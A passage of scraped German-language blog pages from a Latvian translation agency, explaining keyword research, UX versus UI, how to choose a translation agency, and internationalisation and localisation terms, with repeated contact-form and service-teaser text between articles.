ab. 0,16% der beliebtesten Schlüsselwörter sind für 60,67% der Suchanfragen verantwortlich. Die Keyword-Recherche ist wichtig, um herauszufinden, was in einer bestimmten Branche beliebt ist, um möglichst viele potenzielle Kunden anzuziehen. WETTBEWERBSFÄHIGER WERDEN Alle Ihre Konkurrenten suchen die gleichen Kunden wie Sie, daher ist es wichtig, sich von ihnen abzuheben und in den Suchergebnissen weiter oben zu rangieren. Mit der Keyword-Recherche können Sie die relevantesten Begriffe in Ihre Inhalte einbauen, wodurch Ihre Website bei Google höher eingestuft wird und Sie die Konkurrenz einfach überholen können. WER FÜHRT DIE KEYWORD-RECHERCHE DURCH? Die professionelle Keyword-Recherche wird von SEO-Spezialisten mit verschiedenen Programmen, Such- und Auswahltools durchgeführt. Sie ermöglichen es Ihnen, sowohl allgemeine und kurze als auch spezifische und lange Schlüsselwörter und -sätze zu ermitteln. Die SEO-Spezialisten von Skrivanek recherchieren die Zielgruppen, ermitteln die relevantesten Schlüsselwörter und helfen bei der Optimierung der Homepage, damit Ihr Produkt oder Ihre Dienstleistung für Ihre potenziellen Kunden sichtbar ist. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen ÜBERSETZUNG VON WEBSITES Die Übersetzung von Websites war noch nie so einfach! Wir bieten optimale Lokalisierungen, um sicherzustellen, dass Ihre Website den Bedürfnissen und einheimischen Besonderheiten Ihrer Region oder Ihres Marktes entspricht. Mehr erfahren LOKALISIERUNG VON DIGITALEN MARKETINGINHALTEN Digitales Marketing, einschließlich Websites und ausgeklügelten Onlinemedienwerbeinhalten, füllen Ihre Kunden mit Botschaften in der digitalen Welt. Gleichzeit können Ihre Kunden durch soziale Netzwerke engere Beziehungen untereinander aufbauen. Eine einfache, klassische Übersetzung kann die einzigartige Art Ihres Produkts verblassen lassen. Genau hier kommt Ihnen die Lokalisierung von Marketinginhalten zu Hilfe. Mehr erfahren GOOGLE ADS UND SEO ÜBERSETZUNGEN Wenn Sie Ihre Website in mehreren Sprachen zur Verfügung stellen, werden Sie deutlich wettbewerbsfähiger. Unsere Spezialisten lokalisieren Ihre Website nach den neuesten SEO-Grundsätzen, damit sie in der organischen Suche möglichst weit oben erscheint, und passen die Schlüsselwörter für die Google Ads-Werbung an, damit Ihre potenziellen Kunden Sie leichter finden können. Mehr erfahren ÜBERSETZUNG VON WEBSITES Die Übersetzung von Websites war noch nie so einfach! Wir bieten optimale Lokalisierungen, um sicherzustellen, dass Ihre Website den Bedürfnissen und einheimischen Besonderheiten Ihrer Region oder Ihres Marktes entspricht. Mehr erfahren LOKALISIERUNG VON DIGITALEN MARKETINGINHALTEN Digitales Marketing, einschließlich Websites und ausgeklügelten Onlinemedienwerbeinhalten, füllen Ihre Kunden mit Botschaften in der digitalen Welt. Gleichzeit können Ihre Kunden durch soziale Netzwerke engere Beziehungen untereinander aufbauen. Eine einfache, klassische Übersetzung kann die einzigartige Art Ihres Produkts verblassen lassen. Genau hier kommt Ihnen die Lokalisierung von Marketinginhalten zu Hilfe. Mehr erfahren GOOGLE ADS UND SEO ÜBERSETZUNGEN Wenn Sie Ihre Website in mehreren Sprachen zur Verfügung stellen, werden Sie deutlich wettbewerbsfähiger. Unsere Spezialisten lokalisieren Ihre Website nach den neuesten SEO-Grundsätzen, damit sie in der organischen Suche möglichst weit oben erscheint, und passen die Schlüsselwörter für die Google Ads-Werbung an, damit Ihre potenziellen Kunden Sie leichter finden können. Mehr erfahren Ziņu izvēlne Lesen Sie unseren vorherigen BlogbeitragValsts ieņēmumu dienestsLesen Sie unseren neuen BlogbeitragValsts sociālās apdrošināšanas aģentūra --- > Was bedeutet UX oder auch Nutzererfahrung? Was bedeutet UI oder auch Benutzerschnittstelle? Was ist der Unterschied zwischen UX und UI? - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/kas-ir-ux-un-kas-ir-ui/ - Kategorijas: Raksti - Translation Priorities: Optional WAS BEDEUTET UX UND UI? Im heutigen digitalen Zeitalter sind die Benutzerfreundlichkeit und der Stil der Homepage, des Online-Shops oder der mobilen App Ihres Unternehmens ebenso wichtig wie der Inhalt selbst. Ein Besucher wechselt wahrscheinlich die besuchte Website und sucht beim Konkurrenten nach einem Produkt oder einer Dienstleistung, wenn er die Sprache auf der Website nicht versteht oder wenn er mit der Benutzerfreundlichkeit und dem Aussehen der Website nicht zufrieden ist. In der digitalen Welt werden die beiden letztgenannten Merkmale als UX (User Experience, dt. Nutzererlebnis) und UI (User Interface, dt. Benutzeroberfläche) bezeichnet. Aber was bedeuten sie und wie unterscheiden sie sich? Welche Rolle spielen sie in der digitalen Marketingstrategie? Erfahren Sie mehr in diesem Artikel! WAS IST UX ODER NUTZERERFAHRUNG? UX bezeichnet die Nutzererfahrung einer Website oder App. Das Ziel des UX-Designs ist es, die Erfahrung des Kunden auf der Website so bequem, schnell, intuitiv und angenehm wie möglich zu gestalten. Das wichtigste bei der UX ist die sogenannte „Benutzerfreundlichkeit“, in dem ein Nutzer ein Produkt erfolgreich für seine Ziele nutzen kann und auch damit zufrieden ist. Damit eine Website die besten UX-Kriterien erfüllt, muss sie nicht nur leicht bedienbar und verständlich, sondern auch ästhetisch und funktionell ansprechend sein. Da das Hauptziel von UX-Designern darin besteht, einen positiven Eindruck und ein positives Erlebnis auf der Website zu vermitteln, müssen sie als erstes den Nutzer verstehen. Mit Umfragen, Interviews, Wettbewerbsforschung und -analyse usw. kann dies erforscht werden. Danach wird entschieden, was auf der jeweiligen Website enthalten sein soll, welche Gefühle sie hervorrufen und wohin und wie der Besucher geführt werden soll. Man könnte sagen, dass der UX-Designer eine Karte der Homepage und der „Handlung“ erstellt, durch die der Besucher der Seite reisen muss. Ein UX-Design ist dann erfolgreich, wenn der Nutzer ein komfortables und angenehmes Onlineerlebnis hatte. WAS IST UI ODER BENUTZEROBERFLÄCHE? Die interaktiven Funktionen und das Gesamtbild, das ein Besucher beim Zugriff auf eine Website oder eine mobile Anwendung sieht, werden als Benutzeroberfläche (UI) bezeichnet. Dazu gehören Menüteile, Navigationsschaltflächen, Icons, Textfelder, das Design der Homepage selbst usw. Die Aufgabe des UI-Designers besteht darin, sich um die visuelle Gestaltung, die Hierarchie und die Interaktion dieser Teile zu kümmern und dafür zu sorgen, dass sie als einheitliches Ganzes funktionieren. Der ästhetische Faktor - Farbgestaltung, Schriftarten, Inhaltsplatzierung usw. - spielt beim UI-Design ebenfalls eine große Rolle. WAS IST DER UNTERSCHIED ZWISCHEN UX UND UI? Wenn der UX-Designer der Architekt der Website ist, ist der UI-Designer der Innenarchitekt der Website. Obwohl sie viele Gemeinsamkeiten haben, gibt es auch große Unterschiede. Viele Aufgaben des UX-Designers haben zum Beispiel nichts mit Grafikdesign zu tun. Der UX-Designer ist der Stratege in diesem Team - er muss die Zielgruppe verstehen, die Probleme definieren, mit denen sie konfrontiert ist und letztendlich die beste Lösung, also das Produkt, präsentieren. Ein UX-Designer muss alltäglich analytisch denken und sich sogar mit Psychologie befassen, während der UI-Designer weiß, wie man das Ganze gut gestaltet und dem Kunden vorlegt. WELCHE BEDEUTUNG HABEN UX UND UI IM DIGITALEN MARKETING? Es sollte keine Überraschung sein, dass viele Kunden eine Website wieder verlassen, wenn sie mit der Benutzerfreundlichkeit, dem Design, der Struktur oder dem Inhalt unzufrieden sind. Jeder von uns hat schon einmal eine Website besucht, z. B. bei der Suche nach alltäglichen Dingen im Internet. Wenn wir mit chaotischem Material, langsamen Ladezeiten oder veraltetem Design konfrontiert werden, werden wir eine Website zugunsten einer anderen verlassen, die dieselben Informationen ansprechender, verständlicher oder einfacher darstellt. Daher sollte bei der digitalen Marketingstrategie des Unternehmens die Verbesserung des Nutzererlebnisses im Vordergrund stehen. Genau das ermöglicht es Ihnen, mit dem potenziellen Kunden in Kontakt zu treten, den Dialog zu verlängern und schrittweise ein Geschäft zu machen. Folglich werden UI und UX als Komponenten einer digitalen Marketingstrategie gemeinsam eingesetzt. Diese Zusammenarbeit beginnt mit der Reise des Kunden auf der Website, die ihn nahtlos zu seinem Ziel führt, z. B. zu einem Kauf oder einer Reservierung. Dieser Prozess ist die UX-Komponente. Damit der Besucher die Website nicht schon in den ersten Sekunden wieder verlässt, ist es notwendig, mit Hilfe der grafischen Gestaltung einen guten ersten Eindruck zu vermitteln und für einen strukturierten Inhalt und CTA-Schaltflächen (call to action) zu sorgen, die zum Handeln auffordern - das ist Teil der UI. Letztendlich muss die ganze Reise kundenorientiert sein. Genau das ist das Ziel der UI- und UX-Designer. WIE KANN SKRIVANEK IHNEN DABEI HELFEN? Die Muttersprachler von Skrivanek aus der ganzen Welt geben Ihnen gerne Feedback zur UX- und UI-Erfahrung für fremdsprachige Versionen Ihrer Website oder App sowie Ratschläge zu sprachspezifischen und einzigartigen Wortkombinationen und deren Bedeutungen, kulturübergreifenden Unterschieden, digitaler Etikette und helfen Ihnen bei der Definition und Gestaltung Ihrer Markenbotschaft. Kontaktieren Sie uns gleich jetzt, wenn Sie eine muttersprachliche Beratung benötigen! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen ÜBERSETZUNG VON WEBSITES Die Übersetzung von Websites war noch nie so einfach! Wir bieten optimale Lokalisierungen, um sicherzustellen, dass Ihre Website den Bedürfnissen und einheimischen Besonderheiten Ihrer Region oder Ihres Marktes entspricht. Mehr erfahren LOKALISIERUNG VON E-LEARNING-INHALTEN UND -DIENSTLEISTUNGEN Weltweit entscheiden sich immer mehr Menschen dafür, sich neue Fähigkeiten und Kenntnisse online anzueignen. Wir empfehlen Ihnen daher, nicht mit der Lokalisierung Ihrer Lerninhalte oder online Dienstleistung in zumindest einigen der gängigsten Sprachen der Welt oder Ihrer Region zu zögern. Mehr erfahren GOOGLE ADS UND SEO-ÜBERSETZUNGEN Wenn Sie Ihre Website in mehreren Sprachen zur Verfügung stellen, werden Sie deutlich wettbewerbsfähiger. Unsere Spezialisten lokalisieren Ihre Website nach den neuesten SEO-Grundsätzen, damit sie in der organischen Suche möglichst weit oben erscheint, und passen die Schlüsselwörter für die Google Ads-Werbung an, damit Ihre potenziellen Kunden Sie leichter finden können. Mehr erfahren ÜBERSETZUNG VON WEBSITES Die Übersetzung von Websites war noch nie so einfach! Wir bieten optimale Lokalisierungen, um sicherzustellen, dass Ihre Website den Bedürfnissen und einheimischen Besonderheiten Ihrer Region oder Ihres Marktes entspricht. Mehr erfahren LOKALISIERUNG VON E-LEARNING-INHALTEN UND -DIENSTLEISTUNGEN Weltweit entscheiden sich immer mehr Menschen dafür, sich neue Fähigkeiten und Kenntnisse online anzueignen. Wir empfehlen Ihnen daher, nicht mit der Lokalisierung Ihrer Lerninhalte oder online Dienstleistung in zumindest einigen der gängigsten Sprachen der Welt oder Ihrer Region zu zögern. Mehr erfahren GOOGLE ADS UND SEO-ÜBERSETZUNGEN Wenn Sie Ihre Website in mehreren Sprachen zur Verfügung stellen, werden Sie deutlich wettbewerbsfähiger. Unsere Spezialisten lokalisieren Ihre Website nach den neuesten SEO-Grundsätzen, damit sie in der organischen Suche möglichst weit oben erscheint, und passen die Schlüsselwörter für die Google Ads-Werbung an, damit Ihre potenziellen Kunden Sie leichter finden können. Mehr erfahren Ziņu izvēlne Lesen Sie unseren vorherigen BlogbeitragValsts ieņēmumu dienestsLesen Sie unseren neuen BlogbeitragValsts sociālās apdrošināšanas aģentūra --- > Es gibt regelrecht ein Meer aus Übersetzungsbüros. Lesen Sie, um herauszufinden, worauf Sie bei der Wahl des richtigen Büros achten sollten. - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/ka-izveleties-tulkosanas-biroju/ - Kategorijas: Raksti - Translation Priorities: Optional WIE MAN EIN ÜBERSETZUNGSBÜRO AUSWÄHLT Dass man erkannt hat, wie wichtig Übersetzungen und Textlokalisierungen in Unternehmen und Wirtschaft sind, führte vielleicht dazu, dass noch mehr Übersetzungsbüros eröffnet werden. Selbst in einem kleinen Land wie Lettland gibt es viele größere und kleinere Unternehmen, die Übersetzungsdienste anbieten. Wenn regelmäßig Übersetzungsdienste für geschäftliche oder private Zwecke benötigt werden, ist es wichtig, dass schriftliche und mündliche Übersetzungen in verschiedenen Sprachkombinationen schnell und gut ausgeführt werden. Der Ruf und Erfolg Ihres Unternehmens können von den schriftlichen Unterlagen oder der Arbeit des Übersetzers bei einer Konferenz oder einer Geschäftspräsentation abhängen, daher ist die Wahl des richtigen Kooperationspartners im Bereich der Übersetzungsdienstleistungen von entscheidender Bedeutung. Lesen Sie diesen Artikel, um mehr darüber zu erfahren, worauf Sie bei der Auswahl eines Übersetzungsbüros für eine langfristige Zusammenarbeit achten sollten. WAS SIND IHRE ANSPRÜCHE Wenn Sie wissen, wonach Sie suchen, können Sie Ihre Ansprüche besser definieren. Was für eine Übersetzung (z. B. Geschäftsartikel, medizinische Texte, technische Dokumente oder Marketingmaterial) benötigen Sie? Handelt es sich um eine Website, einen Zeitungsartikel, einen juristischen Vertrag, eine Pressemitteilung oder ein technisches Handbuch? Wer ist Ihre Zielgruppe - wird die Übersetzung von Ihren Kunden oder Geschäftspartnern gelesen? Ausgangssprache - in welcher Sprache ist der Originaltext verfasst? Zielsprache - in welche Sprache wird die Übersetzung benötigt? Benötigen Sie nur schriftliche Übersetzungen oder auch mündliche Übersetzungen (Dolmetschen)? WAS IST DER UNTERSCHIED ZWISCHEN EINEM DOLMETSCHER UND EINEM ÜBERSETZER? Ein Dolmetscher ist auf die mündliche Übersetzung spezialisiert, z. B. bei Gerichtsverhandlungen, Geschäftstreffen, Veranstaltungen und Konferenzen, während ein Übersetzer schriftliche Texte übersetzt, z. B. Bücher, juristische Verträge, Marketingmaterial usw. WAS KOSTET EINE ÜBERSETZUNG? Der Preis für Übersetzungen wird in der Regel durch die Anzahl der Wörter oder Zeichen in der Ausgangssprache (Originalsprache) des Dokuments berechnet, kann aber auch von der Abgabefrist, der Komplexität des Textes und den technischen Anforderungen beeinflusst werden. Ein Projektmanager des Übersetzungsbüros wird Ihnen ein Preisangebot unterbreiten, bevor Sie sich für die Fortsetzung des Auftrages entscheiden. ÜBERSETZUNGSBÜRO UND DIE ERFORDERLICHEN ZERTIFIKATE FÜR DAS QUALITÄTSMANAGEMENT Vergewissern Sie sich, dass das Übersetzungsbüro Qualitätsmanagementsysteme eingeführt hat und mit professionellen Übersetzern, Dolmetschern, Redakteuren und Korrekturlesern zusammenarbeitet, anstatt Ihnen maschinelle Übersetzungen zu verkaufen, die Sie selbst anfertigen können. Professionalität, Vertraulichkeit, Verantwortung für die Arbeit und die Einhaltung von Fristen, ethische und nachhaltige Unternehmensführung usw. werden durch verschiedene ISO-Zertifikate bestätigt: DIN EN ISO 9001 Dieses Qualitätsmanagementsystem garantiert, dass das Übersetzungsbüro die erforderlichen Verfahren eingeführt hat und anwendet, um sicherzustellen, dass die Qualität der erbrachten Dienstleistungen sowohl den Anforderungen des Kunden als auch den gesetzlichen Vorschriften entspricht. ISO 14001 Das Zertifikat bestätigt, dass sich das Übersetzungsbüro für die Umwelt einsetzt, u. a. mit umweltfreundlichen Technologien und Materialien im Betrieb, durch Mülltrennung, durch den Druck nur der notwendigen Dokumente usw. ISO 17100 Dieses Zertifikat bedeutet, dass die Auswahl der Übersetzer, die Kommunikation, das Projektmanagement, der Arbeitsablauf, der Einsatz von Technologie und andere branchenbezogene Aspekte in unserem Unternehmen den höchsten Standards und Anforderungen entsprechen. ISO/IEC 27001 Das eingeführte Managementsystem für die Informationssicherheit bestätigt, dass im Übersetzungsbüro Maßnahmen zum Schutz der Informationen getroffen wurden und die notwendige Kontrolle gewährleistet ist, um die Sicherheit und Vertraulichkeit der von unseren Kunden anvertrauten Daten zu garantieren. ISO 18587 Das Zertifikat bezieht sich auf die Nachbearbeitung maschinell übersetzter Texte und die Zusammenarbeit von Projektmanager und Redakteur bei der Projektdurchführung. RUF DES ÜBERSETZUNGSBÜROS In der Regel können Sie sich auf der Website der Übersetzungsbüros Kundenrezensionen lesen und sich über die größten Kunden und Projekte informieren. Mit einer kleinenGoogle-Suche können Sie auch Informationen über das Übersetzungsbüro sammeln. Wenn man langfristig mit einem Übersetzungsbüro arbeiten möchte, ist es immer lohnenswert nach den Empfehlungen von Freunden und Geschäftspartner zu fragen und sich das Feedback von Leuten zu holen, auf dessen Meinung man Wert legt. Sie können das ausgewählte Übersetzungsbüro natürlich nach seiner Erfahrung in der Zusammenarbeit mit Kunden aus der von Ihnen vertretenen Branche und mit Partnern ähnlicher Größenordnung fragen. Der Projektmanager oder Büroleiter kann Ihnen so die Projekte und Kunden aufzeigen, mit denen das Übersetzungsbüro gearbeitet hat und Ihnen Referenzen und Kontakte nennen. FRISTEN UND EFFIZIENZ Nach der Qualität sind die Geschwindigkeit der Übersetzung und die Einhaltung der Fristen einer der wichtigsten Faktoren, auf die man achten muss. Wenn Sie eine Übersetzung benötigen, können Sie den Projektmanager direkt um ein Preisangebot und den schnellstmöglichen Abgabetermin bitten. Wir erwarten von einem vertrauenswürdigen Übersetzungsbüro eine qualitativ hochwertige und fristgerechte Übersetzung. FACHLEUTE AUS VERSCHIEDENEN BRANCHEN Es besteht ein Bedarf an Übersetzungen in sehr unterschiedlichen Bereichen und Branchen. Daher müssen die Übersetzer nicht nur die Sprache beherrschen, sondern auch über Allgemeinwissen und verschiedene Lebensbereiche verfügen und am besten sich außerhalb der Philologie eine Fachrichtung aussuchen. Daneben muss der Übersetzer auch die Kultur und Etikette für die zu übersetzende Sprache verstehen. Ein gutes Übersetzungsbüro hat mindestens professionelle Übersetzer und Redakteure in Bereichen wie Finanzen, Medizin, Recht, Marketing und technische Texte. Diese Experten sorgen dafür, dass die richtige Terminologie in der Zielsprache verwendet wird, damit die Übersetzung genauso professionell ist wie die Originalsprache. Erkundigen Sie sich, ob das Übersetzungsbüro über Übersetzer mit den für Ihr Projekt erforderlichen Fachkenntnissen verfügt. NICHT NUR ÜBERSETZUNGSDIENSTLEISTUNGEN, SONDERN AUCH LOKALISIERUNG Vergewissern Sie sich, dass das Übersetzungsbüro auch Lokalisierung anbietet. Übersetzung und Adaption eines Textes sind nicht dasselbe - Adaption bedeutet auch, den Text zu lokalisieren, Redewendungen und Ausdrucksmittel zu ändern und den Text an die sprachlichen Anforderungen des Zielpublikums anzupassen. Dies spielt eine entscheidende Rolle, wenn Sie in den Bereichen Marketing, Werbung, Wirtschaft, Erstellung einer Website usw. tätig sind, denn übersetzte Materialien ohne Lokalisierung erreichen möglicherweise nicht die Zielgruppe Ihres Unternehmens oder werden sogar missverstanden. Die Mentalität des brasilianischen und des lettischen Marktes unterscheidet sich mit größter Wahrscheinlichkeit und ein Übersetzer, der die Kultur und die sprachlichen Nuancen Ihres Zielpublikums kennt, wird wissen, wie er diese Menschen ansprechen und geeignete Metaphern und Ausdrücke wählen kann. BEGLAUBIGTE ÜBERSETZUNGEN Um den Kunden den Prozess der Legalisierung von Dokumenten zu erleichtern, bieten viele Übersetzungsbüros auch beglaubigte Übersetzungen an. Das bedeutet, dass die Übersetzung des Dokuments zunächst mit der Unterschrift eines qualifizierten Übersetzers beglaubigt wird und diese Unterschrift dann anschließend von einem vereidigten Notar beglaubigt wird. Bei Übersetzungen öffentlicher Dokumente ist es die Aufgabe eines vereidigten Notars, die Ausbildung und Qualifikation des Übersetzers zu überprüfen und den Übersetzer auf seine Verantwortung gemäß Artikel 300 und 302 des Strafgesetzes der Republik Lettland hinzuweisen, wenn er absichtlich eine falsche und/ oder fehlerhafte Übersetzung angefertigt hat. Wenn Sie Dokumente übersetzen müssen, sollten Sie prüfen, ob das Übersetzungsbüro eine notarielle Beglaubigung anbietet. DIE ROLLE VON TECHNOLOGIE IN DER ÜBERSETZUNGSBRANCHE Die Technologie streckt sich in alle Bereiche unseres Lebens aus, so auch auf die Übersetzungsbranche. Seit der Erfindung des Computers und des Internets hat sich viel verändert - Übersetzer haben Zugang zu vielen digitalen Ressourcen (Wörterbücher, Sprachkorpora), was die Recherchezeit verkürzt (man muss nicht mehr in die Bibliothek gehen und dicke Bücher wälzen), die Kommunikation mit Kunden und zwischen Fachleuten der Branche wird beschleunigt und das Übersetzungsbüro kann mit den besten Fachleuten der Branche zusammenzuarbeiten, egal wo auf der Welt sie sich befinden. Ein Übersetzungsbüro, das mit den neuesten Technologien und den Möglichkeiten der Informationssysteme Schritt hält, behauptet sich als fortschrittliches Unternehmen, das mit der Zeit geht. ÜBERSETZUNGSDIENSTE AUS DER FERNE Eine Übersetzung in Auftrag zu geben sollte eine praktische, schnelle und einfache Angelegenheit sein. Heutzutage können Übersetzer, Redakteure und Korrekturleser sowie die gesamte Verwaltung des Übersetzungsbüros außerhalb eines Büros arbeiten. Die Kommunikation mit dem Kunden über das Projekt kann von Anfang bis Ende per E-Mail erfolgen und Übersetzungen von elektronisch unterzeichneten Dokumenten können digital erledigt werden. KONTAKTIEREN SIE UNS Das Übersetzungsbüro Skrivanek ist einer der größten Sprachdienstleister der Welt und bietet qualitativ hochwertige und professionelle Übersetzungsdienstleistungen in mehr als 110 Sprachen an. Es bietet Korrekturlesen durch einen Muttersprachler der Zielsprache sowie Feedback zu interkulturellen Unterschieden und Geschäftsetikette. Kontaktieren Sie uns oder besuchen Sie unser Büro in Riga, Lāčplēša iela 87C! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Ziņu izvēlne Lesen Sie unseren vorherigen BlogbeitragValsts ieņēmumu dienestsLesen Sie unseren neuen BlogbeitragValsts sociālās apdrošināšanas aģentūra --- > Was versteht man unter Internationalisierung, Lokalisierung, Globalisierung und Lokalisierbarkeit? Erfahren Sie mehr. - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/kas-ir-kas-internationalization-i18n-localization-l10n-globalization-g11n-un-localizability-l12y/ - Kategorijas: Raksti - Translation Priorities: Optional WAS IST WAS? INTERNATIONALISIERUNG (I18N). LOKALISIERUNG (L10N). GLOBALISIERUNG (G11N). LOKALISIERBARKEIT (L12Y) Im heutigen Zeitalter der Globalisierung und des Internets ist es immer einfacher geworden, Ideen über die eigene Landesgrenze hinaus zu tragen. Dass Ihre Produkt- oder Dienstleistungsbeschreibungen bei Kunden aus verschiedenen Ländern und Kulturen Anklang finden, kann jedoch ziemlich herausfordernd sein. Ob man globale Kunden und Partner gewinnt, hängt sehr stark von der richtigen Übersetzung Ihrer Website ab. Sie ist das Gesicht Ihres Unternehmens und dient als Visitenkarte auf dem internationalen Markt. Ähnlich wie die Geschäftswelt erkennt auch die Übersetzungsbranche, dass jedes Problem auch mit der passenden Lösung kommt. Um Unklarheiten im Übersetzungsprozess zu vermeiden und die beste Dienstleistung für Ihr Anliegen zu finden, ist es ratsam, sich mit grundlegenden Terminologien wie Internationalisierung (i18n), Lokalisierung (I10n), Globalisierung (g11n) und Lokalisierbarkeit (I12y) vertraut zu machen. WAS IST INTERNATIONALISIERUNG (I18N)? Internationalisierung beschreibt den Prozess der Erstellung, Entwicklung oder Änderung von Inhalten, um sie für verschiedene Nutzer mit unterschiedlichem kulturellen, sprachlichen oder regionalen Hintergrund leicht anpassbar oder lokalisierbar zu machen. Internationalisierung bedeutet im Grunde also Inhalte zu schaffen, die universell zugänglich sind und an die Bedürfnisse der verschiedenen Zielgruppen angepasst werden können. Die Internationalisierung von Website-Inhalten umfasst beispielsweise die Umsetzung verschiedener Strategien, wie die Adaption von Elementen der Benutzeroberfläche (z. B. Menüleisten) für eine einfache Übersetzung, die Sicherstellung, dass Symbole und visuelle Elemente kulturell angemessen sind, die Anpassung statischer Texte und die Konfiguration von Datums- und Zeitformatierungsoptionen zur Anpassung an den geografischen Standort des Benutzers. Kurz gesagt sorgen Internationalisierungen dafür, Inhalte so zu gestalten, dass sie an verschiedene kulturelle, sprachliche und regionale Kontexte angepasst werden können, ohne dass der ursprüngliche Sinn und Zweck in der Übersetzung verloren geht. WAS IST LOKALISIERUNG (I10N)? Die Lokalisierung ist der Prozess der Anpassung bereits internationalisierter Inhalte an die spezifischen sprachlichen, kulturellen und regionalen Anforderungen eines Zielmarktes. Dazu gehört die Textübersetzung und die Ergänzung des Inhalts durch standortspezifische Komponenten wie Bilder, Videos und andere kulturelle Bezüge. Der Hauptzweck der Lokalisierung besteht darin, sicherzustellen, dass der Inhalt kulturell angemessen ist und die beabsichtigte Botschaft an das Zielpublikum korrekt vermittelt wird. Im Grunde kann ein Unternehmen durch die Lokalisierung mit Sätzen, Redewendungen und Ausdrücken kommunizieren, die in der jeweiligen Kultur selbstverständlich sind, die von außerhalb jedoch nicht so bekannt sind. Ein Beispiel für eine Lokalisierung wäre die Übersetzung der Website eines ausländischen Herstellers ins Lettische oder die Übersetzung des Inhalts einer lettischen E-Commerce-Website ins Englische. Neben der Textübersetzung kann die Lokalisierung auch die Adaption visueller Elemente und multimedialer Inhalte, wie z. B. Audioclips, an die kulturellen und sprachlichen Normen des Zielpublikums beinhalten. WAS IST GLOBALISIERUNG (G11N)? Die Globalisierung ist ein komplexer Prozess, der über eine Internationalisierung und Lokalisierung hinausgeht. Dabei geht es um die gleichzeitige Anpassung von Inhalten an mehrere Zielgruppen, z. B. die Übersetzung einer Website in mehrere Sprachen. Die Globalisierung ist besonders wichtig für große internationale Unternehmen, die möglicherweise Dutzende von Website-Versionen benötigen. Ein Paradebeispiel für die Globalisierung ist die Übersetzung der Website eines lettischen Herstellers ins Deutsche, Englische, Spanische, Französische und Italienische. Man muss aber dazu erwähnen, dass Globalisierung und Lokalisierung oft Hand in Hand gehen. So kann ein Unternehmen beispielsweise anstreben, Websites in 30 Sprachen zu erstellen (Globalisierung), von denen 10 für bestimmte Regionen angepasst werden (Lokalisierung). WAS IST LOKALISIERBARKEIT (I12Y)? Die Lokalisierbarkeit bezieht sich auf eine Reihe von Merkmalen eines Inhalts, die ihn für eine effektive Lokalisierung geeignet machen. Die Lokalisierbarkeit wird normalerweise getestet, um potenzielle Problembereiche im Ausgangsmaterial zu identifizieren, die während des Lokalisierungsprozesses Probleme verursachen könnten. Mit diesem Test soll sichergestellt werden, dass der Inhalt, einschließlich der Texte, Bilder, Layouts und anderer Komponenten, vollständig für die Lokalisierung vorbereitet ist. WIE KANN SKRIVANEK IHNEN DABEI HELFEN? Möchten Sie eine Website erstellen, die die Sprache Ihrer internationalen Kunden und Partner spricht? Das Team von Skrivanek hat Muttersprachler aus aller Welt. Unsere Experten können sicherstellen, dass Ihre Website nicht nur Ihre Botschaft korrekt vermittelt, sondern auch für Ihr Zielpublikum in jedem Land ansprechend und überzeugend ist. Unsere Leistungen reichen von der Übersetzung von Websites, Audio- und Video-Lokalisierung, Software-Lokalisierung, Lokalisierung von Inhalten für das digitale Marketing bis hin zu Google Ads und SEO-Übersetzungen. Wir helfen Ihnen dabei, Ihre Botschaft auf die spezifischen Bedürfnisse und Feinheiten der 